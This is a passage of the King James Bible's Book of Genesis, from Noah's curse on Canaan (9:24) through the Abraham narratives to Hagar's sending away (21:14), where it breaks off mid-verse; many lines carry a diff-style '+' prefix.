+9:24 And Noah awoke from his wine, and knew what his younger son had +done unto him. + +9:25 And he said, Cursed be Canaan; a servant of servants shall he be +unto his brethren. + +9:26 And he said, Blessed be the LORD God of Shem; and Canaan shall be +his servant. + +9:27 God shall enlarge Japheth, and he shall dwell in the tents of +Shem; and Canaan shall be his servant. + +9:28 And Noah lived after the flood three hundred and fifty years. + +9:29 And all the days of Noah were nine hundred and fifty years: and +he died. + +10:1 Now these are the generations of the sons of Noah, Shem, Ham, and +Japheth: and unto them were sons born after the flood. + +10:2 The sons of Japheth; Gomer, and Magog, and Madai, and Javan, and +Tubal, and Meshech, and Tiras. + +10:3 And the sons of Gomer; Ashkenaz, and Riphath, and Togarmah. + +10:4 And the sons of Javan; Elishah, and Tarshish, Kittim, and +Dodanim. + +10:5 By these were the isles of the Gentiles divided in their lands; +every one after his tongue, after their families, in their nations. + +10:6 And the sons of Ham; Cush, and Mizraim, and Phut, and Canaan. + +10:7 And the sons of Cush; Seba, and Havilah, and Sabtah, and Raamah, +and Sabtechah: and the sons of Raamah; Sheba, and Dedan. + +10:8 And Cush begat Nimrod: he began to be a mighty one in the earth. + +10:9 He was a mighty hunter before the LORD: wherefore it is said, +Even as Nimrod the mighty hunter before the LORD. + +10:10 And the beginning of his kingdom was Babel, and Erech, and +Accad, and Calneh, in the land of Shinar. + +10:11 Out of that land went forth Asshur, and builded Nineveh, and the +city Rehoboth, and Calah, 10:12 And Resen between Nineveh and Calah: +the same is a great city. + +10:13 And Mizraim begat Ludim, and Anamim, and Lehabim, and Naphtuhim, +10:14 And Pathrusim, and Casluhim, (out of whom came Philistim,) and +Caphtorim. + +10:15 And Canaan begat Sidon his first born, and Heth, 10:16 And the +Jebusite, and the Amorite, and the Girgasite, 10:17 And the Hivite, +and the Arkite, and the Sinite, 10:18 And the Arvadite, and the +Zemarite, and the Hamathite: and afterward were the families of the +Canaanites spread abroad. + +10:19 And the border of the Canaanites was from Sidon, as thou comest +to Gerar, unto Gaza; as thou goest, unto Sodom, and Gomorrah, and +Admah, and Zeboim, even unto Lasha. + +10:20 These are the sons of Ham, after their families, after their +tongues, in their countries, and in their nations. + +10:21 Unto Shem also, the father of all the children of Eber, the +brother of Japheth the elder, even to him were children born. + +10:22 The children of Shem; Elam, and Asshur, and Arphaxad, and Lud, +and Aram. + +10:23 And the children of Aram; Uz, and Hul, and Gether, and Mash. + +10:24 And Arphaxad begat Salah; and Salah begat Eber. + +10:25 And unto Eber were born two sons: the name of one was Peleg; for +in his days was the earth divided; and his brother's name was Joktan. + +10:26 And Joktan begat Almodad, and Sheleph, and Hazarmaveth, and +Jerah, 10:27 And Hadoram, and Uzal, and Diklah, 10:28 And Obal, and +Abimael, and Sheba, 10:29 And Ophir, and Havilah, and Jobab: all these +were the sons of Joktan. + +10:30 And their dwelling was from Mesha, as thou goest unto Sephar a +mount of the east. + +10:31 These are the sons of Shem, after their families, after their +tongues, in their lands, after their nations. + +10:32 These are the families of the sons of Noah, after their +generations, in their nations: and by these were the nations divided +in the earth after the flood. + +11:1 And the whole earth was of one language, and of one speech. + +11:2 And it came to pass, as they journeyed from the east, that they +found a plain in the land of Shinar; and they dwelt there. + +11:3 And they said one to another, Go to, let us make brick, and burn +them thoroughly. And they had brick for stone, and slime had they for +morter. + +11:4 And they said, Go to, let us build us a city and a tower, whose +top may reach unto heaven; and let us make us a name, lest we be +scattered abroad upon the face of the whole earth. + +11:5 And the LORD came down to see the city and the tower, which the +children of men builded. + +11:6 And the LORD said, Behold, the people is one, and they have all +one language; and this they begin to do: and now nothing will be +restrained from them, which they have imagined to do. + +11:7 Go to, let us go down, and there confound their language, that +they may not understand one another's speech. + +11:8 So the LORD scattered them abroad from thence upon the face of +all the earth: and they left off to build the city. + +11:9 Therefore is the name of it called Babel; because the LORD did +there confound the language of all the earth: and from thence did the +LORD scatter them abroad upon the face of all the earth. + +11:10 These are the generations of Shem: Shem was an hundred years +old, and begat Arphaxad two years after the flood: 11:11 And Shem +lived after he begat Arphaxad five hundred years, and begat sons and +daughters. + +11:12 And Arphaxad lived five and thirty years, and begat Salah: 11:13 +And Arphaxad lived after he begat Salah four hundred and three years, +and begat sons and daughters. + +11:14 And Salah lived thirty years, and begat Eber: 11:15 And Salah +lived after he begat Eber four hundred and three years, and begat sons +and daughters. + +11:16 And Eber lived four and thirty years, and begat Peleg: 11:17 And +Eber lived after he begat Peleg four hundred and thirty years, and +begat sons and daughters. + +11:18 And Peleg lived thirty years, and begat Reu: 11:19 And Peleg +lived after he begat Reu two hundred and nine years, and begat sons +and daughters. + +11:20 And Reu lived two and thirty years, and begat Serug: 11:21 And +Reu lived after he begat Serug two hundred and seven years, and begat +sons and daughters. + +11:22 And Serug lived thirty years, and begat Nahor: 11:23 And Serug +lived after he begat Nahor two hundred years, and begat sons and +daughters. + +11:24 And Nahor lived nine and twenty years, and begat Terah: 11:25 +And Nahor lived after he begat Terah an hundred and nineteen years, +and begat sons and daughters. + +11:26 And Terah lived seventy years, and begat Abram, Nahor, and +Haran. + +11:27 Now these are the generations of Terah: Terah begat Abram, +Nahor, and Haran; and Haran begat Lot. + +11:28 And Haran died before his father Terah in the land of his +nativity, in Ur of the Chaldees. + +11:29 And Abram and Nahor took them wives: the name of Abram's wife +was Sarai; and the name of Nahor's wife, Milcah, the daughter of +Haran, the father of Milcah, and the father of Iscah. + +11:30 But Sarai was barren; she had no child. + +11:31 And Terah took Abram his son, and Lot the son of Haran his son's +son, and Sarai his daughter in law, his son Abram's wife; and they +went forth with them from Ur of the Chaldees, to go into the land of +Canaan; and they came unto Haran, and dwelt there. + +11:32 And the days of Terah were two hundred and five years: and Terah +died in Haran. + +12:1 Now the LORD had said unto Abram, Get thee out of thy country, +and from thy kindred, and from thy father's house, unto a land that I +will shew thee: 12:2 And I will make of thee a great nation, and I +will bless thee, and make thy name great; and thou shalt be a +blessing: 12:3 And I will bless them that bless thee, and curse him +that curseth thee: and in thee shall all families of the earth be +blessed. + +12:4 So Abram departed, as the LORD had spoken unto him; and Lot went +with him: and Abram was seventy and five years old when he departed +out of Haran. + +12:5 And Abram took Sarai his wife, and Lot his brother's son, and all +their substance that they had gathered, and the souls that they had +gotten in Haran; and they went forth to go into the land of Canaan; +and into the land of Canaan they came. + +12:6 And Abram passed through the land unto the place of Sichem, unto +the plain of Moreh. And the Canaanite was then in the land. + +12:7 And the LORD appeared unto Abram, and said, Unto thy seed will I +give this land: and there builded he an altar unto the LORD, who +appeared unto him. + +12:8 And he removed from thence unto a mountain on the east of Bethel, +and pitched his tent, having Bethel on the west, and Hai on the east: +and there he builded an altar unto the LORD, and called upon the name +of the LORD. + +12:9 And Abram journeyed, going on still toward the south. + +12:10 And there was a famine in the land: and Abram went down into +Egypt to sojourn there; for the famine was grievous in the land. + +12:11 And it came to pass, when he was come near to enter into Egypt, +that he said unto Sarai his wife, Behold now, I know that thou art a +fair woman to look upon: 12:12 Therefore it shall come to pass, when +the Egyptians shall see thee, that they shall say, This is his wife: +and they will kill me, but they will save thee alive. + +12:13 Say, I pray thee, thou art my sister: that it may be well with +me for thy sake; and my soul shall live because of thee. + +12:14 And it came to pass, that, when Abram was come into Egypt, the +Egyptians beheld the woman that she was very fair. + +12:15 The princes also of Pharaoh saw her, and commended her before +Pharaoh: and the woman was taken into Pharaoh's house. + +12:16 And he entreated Abram well for her sake: and he had sheep, and +oxen, and he asses, and menservants, and maidservants, and she asses, +and camels. + +12:17 And the LORD plagued Pharaoh and his house with great plagues +because of Sarai Abram's wife. + +12:18 And Pharaoh called Abram and said, What is this that thou hast +done unto me? why didst thou not tell me that she was thy wife? 12:19 +Why saidst thou, She is my sister? so I might have taken her to me to +wife: now therefore behold thy wife, take her, and go thy way. + +12:20 And Pharaoh commanded his men concerning him: and they sent him +away, and his wife, and all that he had. + +13:1 And Abram went up out of Egypt, he, and his wife, and all that he +had, and Lot with him, into the south. + +13:2 And Abram was very rich in cattle, in silver, and in gold. + +13:3 And he went on his journeys from the south even to Bethel, unto +the place where his tent had been at the beginning, between Bethel and +Hai; 13:4 Unto the place of the altar, which he had make there at the +first: and there Abram called on the name of the LORD. + +13:5 And Lot also, which went with Abram, had flocks, and herds, and +tents. + +13:6 And the land was not able to bear them, that they might dwell +together: for their substance was great, so that they could not dwell +together. + +13:7 And there was a strife between the herdmen of Abram's cattle and +the herdmen of Lot's cattle: and the Canaanite and the Perizzite +dwelled then in the land. + +13:8 And Abram said unto Lot, Let there be no strife, I pray thee, +between me and thee, and between my herdmen and thy herdmen; for we be +brethren. + +13:9 Is not the whole land before thee? separate thyself, I pray thee, +from me: if thou wilt take the left hand, then I will go to the right; +or if thou depart to the right hand, then I will go to the left. + +13:10 And Lot lifted up his eyes, and beheld all the plain of Jordan, +that it was well watered every where, before the LORD destroyed Sodom +and Gomorrah, even as the garden of the LORD, like the land of Egypt, +as thou comest unto Zoar. + +13:11 Then Lot chose him all the plain of Jordan; and Lot journeyed +east: and they separated themselves the one from the other. + +13:12 Abram dwelled in the land of Canaan, and Lot dwelled in the +cities of the plain, and pitched his tent toward Sodom. + +13:13 But the men of Sodom were wicked and sinners before the LORD +exceedingly. + +13:14 And the LORD said unto Abram, after that Lot was separated from +him, Lift up now thine eyes, and look from the place where thou art +northward, and southward, and eastward, and westward: 13:15 For all +the land which thou seest, to thee will I give it, and to thy seed for +ever. + +13:16 And I will make thy seed as the dust of the earth: so that if a +man can number the dust of the earth, then shall thy seed also be +numbered. + +13:17 Arise, walk through the land in the length of it and in the +breadth of it; for I will give it unto thee. + +13:18 Then Abram removed his tent, and came and dwelt in the plain of +Mamre, which is in Hebron, and built there an altar unto the LORD. + +14:1 And it came to pass in the days of Amraphel king of Shinar, +Arioch king of Ellasar, Chedorlaomer king of Elam, and Tidal king of +nations; 14:2 That these made war with Bera king of Sodom, and with +Birsha king of Gomorrah, Shinab king of Admah, and Shemeber king of +Zeboiim, and the king of Bela, which is Zoar. + +14:3 All these were joined together in the vale of Siddim, which is +the salt sea. + +14:4 Twelve years they served Chedorlaomer, and in the thirteenth year +they rebelled. + +14:5 And in the fourteenth year came Chedorlaomer, and the kings that +were with him, and smote the Rephaims in Ashteroth Karnaim, and the +Zuzims in Ham, and the Emins in Shaveh Kiriathaim, 14:6 And the +Horites in their mount Seir, unto Elparan, which is by the wilderness. + +14:7 And they returned, and came to Enmishpat, which is Kadesh, and +smote all the country of the Amalekites, and also the Amorites, that +dwelt in Hazezontamar. + +14:8 And there went out the king of Sodom, and the king of Gomorrah, +and the king of Admah, and the king of Zeboiim, and the king of Bela +(the same is Zoar;) and they joined battle with them in the vale of +Siddim; 14:9 With Chedorlaomer the king of Elam, and with Tidal king +of nations, and Amraphel king of Shinar, and Arioch king of Ellasar; +four kings with five. + +14:10 And the vale of Siddim was full of slimepits; and the kings of +Sodom and Gomorrah fled, and fell there; and they that remained fled +to the mountain. + +14:11 And they took all the goods of Sodom and Gomorrah, and all their +victuals, and went their way. + +14:12 And they took Lot, Abram's brother's son, who dwelt in Sodom, +and his goods, and departed. + +14:13 And there came one that had escaped, and told Abram the Hebrew; +for he dwelt in the plain of Mamre the Amorite, brother of Eshcol, and +brother of Aner: and these were confederate with Abram. + +14:14 And when Abram heard that his brother was taken captive, he +armed his trained servants, born in his own house, three hundred and +eighteen, and pursued them unto Dan. + +14:15 And he divided himself against them, he and his servants, by +night, and smote them, and pursued them unto Hobah, which is on the +left hand of Damascus. + +14:16 And he brought back all the goods, and also brought again his +brother Lot, and his goods, and the women also, and the people. + +14:17 And the king of Sodom went out to meet him after his return from +the slaughter of Chedorlaomer, and of the kings that were with him, at +the valley of Shaveh, which is the king's dale. + +14:18 And Melchizedek king of Salem brought forth bread and wine: and +he was the priest of the most high God. + +14:19 And he blessed him, and said, Blessed be Abram of the most high +God, possessor of heaven and earth: 14:20 And blessed be the most high +God, which hath delivered thine enemies into thy hand. And he gave him +tithes of all. + +14:21 And the king of Sodom said unto Abram, Give me the persons, and +take the goods to thyself. + +14:22 And Abram said to the king of Sodom, I have lift up mine hand +unto the LORD, the most high God, the possessor of heaven and earth, +14:23 That I will not take from a thread even to a shoelatchet, and +that I will not take any thing that is thine, lest thou shouldest say, +I have made Abram rich: 14:24 Save only that which the young men have +eaten, and the portion of the men which went with me, Aner, Eshcol, +and Mamre; let them take their portion. + +15:1 After these things the word of the LORD came unto Abram in a +vision, saying, Fear not, Abram: I am thy shield, and thy exceeding +great reward. + +15:2 And Abram said, LORD God, what wilt thou give me, seeing I go +childless, and the steward of my house is this Eliezer of Damascus? +15:3 And Abram said, Behold, to me thou hast given no seed: and, lo, +one born in my house is mine heir. + +15:4 And, behold, the word of the LORD came unto him, saying, This +shall not be thine heir; but he that shall come forth out of thine own +bowels shall be thine heir. + +15:5 And he brought him forth abroad, and said, Look now toward +heaven, and tell the stars, if thou be able to number them: and he +said unto him, So shall thy seed be. + +15:6 And he believed in the LORD; and he counted it to him for +righteousness. + +15:7 And he said unto him, I am the LORD that brought thee out of Ur +of the Chaldees, to give thee this land to inherit it. + +15:8 And he said, LORD God, whereby shall I know that I shall inherit +it? 15:9 And he said unto him, Take me an heifer of three years old, +and a she goat of three years old, and a ram of three years old, and a +turtledove, and a young pigeon. + +15:10 And he took unto him all these, and divided them in the midst, +and laid each piece one against another: but the birds divided he not. + +15:11 And when the fowls came down upon the carcases, Abram drove them +away. + +15:12 And when the sun was going down, a deep sleep fell upon Abram; +and, lo, an horror of great darkness fell upon him. + +15:13 And he said unto Abram, Know of a surety that thy seed shall be +a stranger in a land that is not their's, and shall serve them; and +they shall afflict them four hundred years; 15:14 And also that +nation, whom they shall serve, will I judge: and afterward shall they +come out with great substance. + +15:15 And thou shalt go to thy fathers in peace; thou shalt be buried +in a good old age. + +15:16 But in the fourth generation they shall come hither again: for +the iniquity of the Amorites is not yet full. + +15:17 And it came to pass, that, when the sun went down, and it was +dark, behold a smoking furnace, and a burning lamp that passed between +those pieces. + +15:18 In the same day the LORD made a covenant with Abram, saying, +Unto thy seed have I given this land, from the river of Egypt unto the +great river, the river Euphrates: 15:19 The Kenites, and the +Kenizzites, and the Kadmonites, 15:20 And the Hittites, and the +Perizzites, and the Rephaims, 15:21 And the Amorites, and the +Canaanites, and the Girgashites, and the Jebusites. + +16:1 Now Sarai Abram's wife bare him no children: and she had an +handmaid, an Egyptian, whose name was Hagar. + +16:2 And Sarai said unto Abram, Behold now, the LORD hath restrained +me from bearing: I pray thee, go in unto my maid; it may be that I may +obtain children by her. And Abram hearkened to the voice of Sarai. + +16:3 And Sarai Abram's wife took Hagar her maid the Egyptian, after +Abram had dwelt ten years in the land of Canaan, and gave her to her +husband Abram to be his wife. + +16:4 And he went in unto Hagar, and she conceived: and when she saw +that she had conceived, her mistress was despised in her eyes. + +16:5 And Sarai said unto Abram, My wrong be upon thee: I have given my +maid into thy bosom; and when she saw that she had conceived, I was +despised in her eyes: the LORD judge between me and thee. + +16:6 But Abram said unto Sarai, Behold, thy maid is in thine hand; do +to her as it pleaseth thee. And when Sarai dealt hardly with her, she +fled from her face. + +16:7 And the angel of the LORD found her by a fountain of water in the +wilderness, by the fountain in the way to Shur. + +16:8 And he said, Hagar, Sarai's maid, whence camest thou? and whither +wilt thou go? And she said, I flee from the face of my mistress Sarai. + +16:9 And the angel of the LORD said unto her, Return to thy mistress, +and submit thyself under her hands. + +16:10 And the angel of the LORD said unto her, I will multiply thy +seed exceedingly, that it shall not be numbered for multitude. + +16:11 And the angel of the LORD said unto her, Behold, thou art with +child and shalt bear a son, and shalt call his name Ishmael; because +the LORD hath heard thy affliction. + +16:12 And he will be a wild man; his hand will be against every man, +and every man's hand against him; and he shall dwell in the presence +of all his brethren. + +16:13 And she called the name of the LORD that spake unto her, Thou +God seest me: for she said, Have I also here looked after him that +seeth me? 16:14 Wherefore the well was called Beerlahairoi; behold, +it is between Kadesh and Bered. + +16:15 And Hagar bare Abram a son: and Abram called his son's name, +which Hagar bare, Ishmael. + +16:16 And Abram was fourscore and six years old, when Hagar bare +Ishmael to Abram. + +17:1 And when Abram was ninety years old and nine, the LORD appeared +to Abram, and said unto him, I am the Almighty God; walk before me, +and be thou perfect. + +17:2 And I will make my covenant between me and thee, and will +multiply thee exceedingly. + +17:3 And Abram fell on his face: and God talked with him, saying, 17:4 +As for me, behold, my covenant is with thee, and thou shalt be a +father of many nations. + +17:5 Neither shall thy name any more be called Abram, but thy name +shall be Abraham; for a father of many nations have I made thee. + +17:6 And I will make thee exceeding fruitful, and I will make nations +of thee, and kings shall come out of thee. + +17:7 And I will establish my covenant between me and thee and thy seed +after thee in their generations for an everlasting covenant, to be a +God unto thee, and to thy seed after thee. + +17:8 And I will give unto thee, and to thy seed after thee, the land +wherein thou art a stranger, all the land of Canaan, for an +everlasting possession; and I will be their God. + +17:9 And God said unto Abraham, Thou shalt keep my covenant therefore, +thou, and thy seed after thee in their generations. + +17:10 This is my covenant, which ye shall keep, between me and you and +thy seed after thee; Every man child among you shall be circumcised. + +17:11 And ye shall circumcise the flesh of your foreskin; and it shall +be a token of the covenant betwixt me and you. + +17:12 And he that is eight days old shall be circumcised among you, +every man child in your generations, he that is born in the house, or +bought with money of any stranger, which is not of thy seed. + +17:13 He that is born in thy house, and he that is bought with thy +money, must needs be circumcised: and my covenant shall be in your +flesh for an everlasting covenant. + +17:14 And the uncircumcised man child whose flesh of his foreskin is +not circumcised, that soul shall be cut off from his people; he hath +broken my covenant. + +17:15 And God said unto Abraham, As for Sarai thy wife, thou shalt not +call her name Sarai, but Sarah shall her name be. + +17:16 And I will bless her, and give thee a son also of her: yea, I +will bless her, and she shall be a mother of nations; kings of people +shall be of her. + +17:17 Then Abraham fell upon his face, and laughed, and said in his +heart, Shall a child be born unto him that is an hundred years old? +and shall Sarah, that is ninety years old, bear? 17:18 And Abraham +said unto God, O that Ishmael might live before thee! 17:19 And God +said, Sarah thy wife shall bear thee a son indeed; and thou shalt call +his name Isaac: and I will establish my covenant with him for an +everlasting covenant, and with his seed after him. + +17:20 And as for Ishmael, I have heard thee: Behold, I have blessed +him, and will make him fruitful, and will multiply him exceedingly; +twelve princes shall he beget, and I will make him a great nation. + +17:21 But my covenant will I establish with Isaac, which Sarah shall +bear unto thee at this set time in the next year. + +17:22 And he left off talking with him, and God went up from Abraham. + +17:23 And Abraham took Ishmael his son, and all that were born in his +house, and all that were bought with his money, every male among the +men of Abraham's house; and circumcised the flesh of their foreskin in +the selfsame day, as God had said unto him. + +17:24 And Abraham was ninety years old and nine, when he was +circumcised in the flesh of his foreskin. + +17:25 And Ishmael his son was thirteen years old, when he was +circumcised in the flesh of his foreskin. + +17:26 In the selfsame day was Abraham circumcised, and Ishmael his +son. + +17:27 And all the men of his house, born in the house, and bought with +money of the stranger, were circumcised with him. + +18:1 And the LORD appeared unto him in the plains of Mamre: and he sat +in the tent door in the heat of the day; 18:2 And he lift up his eyes +and looked, and, lo, three men stood by him: and when he saw them, he +ran to meet them from the tent door, and bowed himself toward the +ground, 18:3 And said, My LORD, if now I have found favour in thy +sight, pass not away, I pray thee, from thy servant: 18:4 Let a little +water, I pray you, be fetched, and wash your feet, and rest yourselves +under the tree: 18:5 And I will fetch a morsel of bread, and comfort +ye your hearts; after that ye shall pass on: for therefore are ye come +to your servant. And they said, So do, as thou hast said. + +18:6 And Abraham hastened into the tent unto Sarah, and said, Make +ready quickly three measures of fine meal, knead it, and make cakes +upon the hearth. + +18:7 And Abraham ran unto the herd, and fetcht a calf tender and good, +and gave it unto a young man; and he hasted to dress it. + +18:8 And he took butter, and milk, and the calf which he had dressed, +and set it before them; and he stood by them under the tree, and they +did eat. + +18:9 And they said unto him, Where is Sarah thy wife? And he said, +Behold, in the tent. + +18:10 And he said, I will certainly return unto thee according to the +time of life; and, lo, Sarah thy wife shall have a son. And Sarah +heard it in the tent door, which was behind him. + +18:11 Now Abraham and Sarah were old and well stricken in age; and it +ceased to be with Sarah after the manner of women. + +18:12 Therefore Sarah laughed within herself, saying, After I am waxed +old shall I have pleasure, my lord being old also? 18:13 And the LORD +said unto Abraham, Wherefore did Sarah laugh, saying, Shall I of a +surety bear a child, which am old? 18:14 Is any thing too hard for +the LORD? At the time appointed I will return unto thee, according to +the time of life, and Sarah shall have a son. + +18:15 Then Sarah denied, saying, I laughed not; for she was afraid. +And he said, Nay; but thou didst laugh. + +18:16 And the men rose up from thence, and looked toward Sodom: and +Abraham went with them to bring them on the way. + +18:17 And the LORD said, Shall I hide from Abraham that thing which I +do; 18:18 Seeing that Abraham shall surely become a great and mighty +nation, and all the nations of the earth shall be blessed in him? +18:19 For I know him, that he will command his children and his +household after him, and they shall keep the way of the LORD, to do +justice and judgment; that the LORD may bring upon Abraham that which +he hath spoken of him. + +18:20 And the LORD said, Because the cry of Sodom and Gomorrah is +great, and because their sin is very grievous; 18:21 I will go down +now, and see whether they have done altogether according to the cry of +it, which is come unto me; and if not, I will know. + +18:22 And the men turned their faces from thence, and went toward +Sodom: but Abraham stood yet before the LORD. + +18:23 And Abraham drew near, and said, Wilt thou also destroy the +righteous with the wicked? 18:24 Peradventure there be fifty +righteous within the city: wilt thou also destroy and not spare the +place for the fifty righteous that are therein? 18:25 That be far +from thee to do after this manner, to slay the righteous with the +wicked: and that the righteous should be as the wicked, that be far +from thee: Shall not the Judge of all the earth do right? 18:26 And +the LORD said, If I find in Sodom fifty righteous within the city, +then I will spare all the place for their sakes. + +18:27 And Abraham answered and said, Behold now, I have taken upon me +to speak unto the LORD, which am but dust and ashes: 18:28 +Peradventure there shall lack five of the fifty righteous: wilt thou +destroy all the city for lack of five? And he said, If I find there +forty and five, I will not destroy it. + +18:29 And he spake unto him yet again, and said, Peradventure there +shall be forty found there. And he said, I will not do it for forty's +sake. + +18:30 And he said unto him, Oh let not the LORD be angry, and I will +speak: Peradventure there shall thirty be found there. And he said, I +will not do it, if I find thirty there. + +18:31 And he said, Behold now, I have taken upon me to speak unto the +LORD: Peradventure there shall be twenty found there. And he said, I +will not destroy it for twenty's sake. + +18:32 And he said, Oh let not the LORD be angry, and I will speak yet +but this once: Peradventure ten shall be found there. And he said, I +will not destroy it for ten's sake. + +18:33 And the LORD went his way, as soon as he had left communing with +Abraham: and Abraham returned unto his place. + +19:1 And there came two angels to Sodom at even; and Lot sat in the +gate of Sodom: and Lot seeing them rose up to meet them; and he bowed +himself with his face toward the ground; 19:2 And he said, Behold now, +my lords, turn in, I pray you, into your servant's house, and tarry +all night, and wash your feet, and ye shall rise up early, and go on +your ways. And they said, Nay; but we will abide in the street all +night. + +19:3 And he pressed upon them greatly; and they turned in unto him, +and entered into his house; and he made them a feast, and did bake +unleavened bread, and they did eat. + +19:4 But before they lay down, the men of the city, even the men of +Sodom, compassed the house round, both old and young, all the people +from every quarter: 19:5 And they called unto Lot, and said unto him, +Where are the men which came in to thee this night? bring them out +unto us, that we may know them. + +19:6 And Lot went out at the door unto them, and shut the door after +him, 19:7 And said, I pray you, brethren, do not so wickedly. + +19:8 Behold now, I have two daughters which have not known man; let +me, I pray you, bring them out unto you, and do ye to them as is good +in your eyes: only unto these men do nothing; for therefore came they +under the shadow of my roof. + +19:9 And they said, Stand back. And they said again, This one fellow +came in to sojourn, and he will needs be a judge: now will we deal +worse with thee, than with them. And they pressed sore upon the man, +even Lot, and came near to break the door. + +19:10 But the men put forth their hand, and pulled Lot into the house +to them, and shut to the door. + +19:11 And they smote the men that were at the door of the house with +blindness, both small and great: so that they wearied themselves to +find the door. + +19:12 And the men said unto Lot, Hast thou here any besides? son in +law, and thy sons, and thy daughters, and whatsoever thou hast in the +city, bring them out of this place: 19:13 For we will destroy this +place, because the cry of them is waxen great before the face of the +LORD; and the LORD hath sent us to destroy it. + +19:14 And Lot went out, and spake unto his sons in law, which married +his daughters, and said, Up, get you out of this place; for the LORD +will destroy this city. But he seemed as one that mocked unto his sons +in law. + +19:15 And when the morning arose, then the angels hastened Lot, +saying, Arise, take thy wife, and thy two daughters, which are here; +lest thou be consumed in the iniquity of the city. + +19:16 And while he lingered, the men laid hold upon his hand, and upon +the hand of his wife, and upon the hand of his two daughters; the LORD +being merciful unto him: and they brought him forth, and set him +without the city. + +19:17 And it came to pass, when they had brought them forth abroad, +that he said, Escape for thy life; look not behind thee, neither stay +thou in all the plain; escape to the mountain, lest thou be consumed. + +19:18 And Lot said unto them, Oh, not so, my LORD: 19:19 Behold now, +thy servant hath found grace in thy sight, and thou hast magnified thy +mercy, which thou hast shewed unto me in saving my life; and I cannot +escape to the mountain, lest some evil take me, and I die: 19:20 +Behold now, this city is near to flee unto, and it is a little one: +Oh, let me escape thither, (is it not a little one?) and my soul shall +live. + +19:21 And he said unto him, See, I have accepted thee concerning this +thing also, that I will not overthrow this city, for the which thou +hast spoken. + +19:22 Haste thee, escape thither; for I cannot do anything till thou +be come thither. Therefore the name of the city was called Zoar. + +19:23 The sun was risen upon the earth when Lot entered into Zoar. + +19:24 Then the LORD rained upon Sodom and upon Gomorrah brimstone and +fire from the LORD out of heaven; 19:25 And he overthrew those cities, +and all the plain, and all the inhabitants of the cities, and that +which grew upon the ground. + +19:26 But his wife looked back from behind him, and she became a +pillar of salt. + +19:27 And Abraham gat up early in the morning to the place where he +stood before the LORD: 19:28 And he looked toward Sodom and Gomorrah, +and toward all the land of the plain, and beheld, and, lo, the smoke +of the country went up as the smoke of a furnace. + +19:29 And it came to pass, when God destroyed the cities of the plain, +that God remembered Abraham, and sent Lot out of the midst of the +overthrow, when he overthrew the cities in the which Lot dwelt. + +19:30 And Lot went up out of Zoar, and dwelt in the mountain, and his +two daughters with him; for he feared to dwell in Zoar: and he dwelt +in a cave, he and his two daughters. + +19:31 And the firstborn said unto the younger, Our father is old, and +there is not a man in the earth to come in unto us after the manner of +all the earth: 19:32 Come, let us make our father drink wine, and we +will lie with him, that we may preserve seed of our father. + +19:33 And they made their father drink wine that night: and the +firstborn went in, and lay with her father; and he perceived not when +she lay down, nor when she arose. + +19:34 And it came to pass on the morrow, that the firstborn said unto +the younger, Behold, I lay yesternight with my father: let us make him +drink wine this night also; and go thou in, and lie with him, that we +may preserve seed of our father. + +19:35 And they made their father drink wine that night also: and the +younger arose, and lay with him; and he perceived not when she lay +down, nor when she arose. + +19:36 Thus were both the daughters of Lot with child by their father. + +19:37 And the first born bare a son, and called his name Moab: the +same is the father of the Moabites unto this day. + +19:38 And the younger, she also bare a son, and called his name +Benammi: the same is the father of the children of Ammon unto this +day. + +20:1 And Abraham journeyed from thence toward the south country, and +dwelled between Kadesh and Shur, and sojourned in Gerar. + +20:2 And Abraham said of Sarah his wife, She is my sister: and +Abimelech king of Gerar sent, and took Sarah. + +20:3 But God came to Abimelech in a dream by night, and said to him, +Behold, thou art but a dead man, for the woman which thou hast taken; +for she is a man's wife. + +20:4 But Abimelech had not come near her: and he said, LORD, wilt thou +slay also a righteous nation? 20:5 Said he not unto me, She is my +sister? and she, even she herself said, He is my brother: in the +integrity of my heart and innocency of my hands have I done this. + +20:6 And God said unto him in a dream, Yea, I know that thou didst +this in the integrity of thy heart; for I also withheld thee from +sinning against me: therefore suffered I thee not to touch her. + +20:7 Now therefore restore the man his wife; for he is a prophet, and +he shall pray for thee, and thou shalt live: and if thou restore her +not, know thou that thou shalt surely die, thou, and all that are +thine. + +20:8 Therefore Abimelech rose early in the morning, and called all his +servants, and told all these things in their ears: and the men were +sore afraid. + +20:9 Then Abimelech called Abraham, and said unto him, What hast thou +done unto us? and what have I offended thee, that thou hast brought on +me and on my kingdom a great sin? thou hast done deeds unto me that +ought not to be done. + +20:10 And Abimelech said unto Abraham, What sawest thou, that thou +hast done this thing? 20:11 And Abraham said, Because I thought, +Surely the fear of God is not in this place; and they will slay me for +my wife's sake. + +20:12 And yet indeed she is my sister; she is the daughter of my +father, but not the daughter of my mother; and she became my wife. + +20:13 And it came to pass, when God caused me to wander from my +father's house, that I said unto her, This is thy kindness which thou +shalt shew unto me; at every place whither we shall come, say of me, +He is my brother. + +20:14 And Abimelech took sheep, and oxen, and menservants, and +womenservants, and gave them unto Abraham, and restored him Sarah his +wife. + +20:15 And Abimelech said, Behold, my land is before thee: dwell where +it pleaseth thee. + +20:16 And unto Sarah he said, Behold, I have given thy brother a +thousand pieces of silver: behold, he is to thee a covering of the +eyes, unto all that are with thee, and with all other: thus she was +reproved. + +20:17 So Abraham prayed unto God: and God healed Abimelech, and his +wife, and his maidservants; and they bare children. + +20:18 For the LORD had fast closed up all the wombs of the house of +Abimelech, because of Sarah Abraham's wife. + +21:1 And the LORD visited Sarah as he had said, and the LORD did unto +Sarah as he had spoken. + +21:2 For Sarah conceived, and bare Abraham a son in his old age, at +the set time of which God had spoken to him. + +21:3 And Abraham called the name of his son that was born unto him, +whom Sarah bare to him, Isaac. + +21:4 And Abraham circumcised his son Isaac being eight days old, as +God had commanded him. + +21:5 And Abraham was an hundred years old, when his son Isaac was born +unto him. + +21:6 And Sarah said, God hath made me to laugh, so that all that hear +will laugh with me. + +21:7 And she said, Who would have said unto Abraham, that Sarah should +have given children suck? for I have born him a son in his old age. + +21:8 And the child grew, and was weaned: and Abraham made a great +feast the same day that Isaac was weaned. + +21:9 And Sarah saw the son of Hagar the Egyptian, which she had born +unto Abraham, mocking. + +21:10 Wherefore she said unto Abraham, Cast out this bondwoman and her +son: for the son of this bondwoman shall not be heir with my son, even +with Isaac. + +21:11 And the thing was very grievous in Abraham's sight because of +his son. + +21:12 And God said unto Abraham, Let it not be grievous in thy sight +because of the lad, and because of thy bondwoman; in all that Sarah +hath said unto thee, hearken unto her voice; for in Isaac shall thy +seed be called. + +21:13 And also of the son of the bondwoman will I make a nation, +because he is thy seed. + +21:14 And Abraham rose up early in the morning, and took bread, and a +bottle of water, and gave it unto Hagar, putting it on her shoulder, +and the child, and sent her away: and she 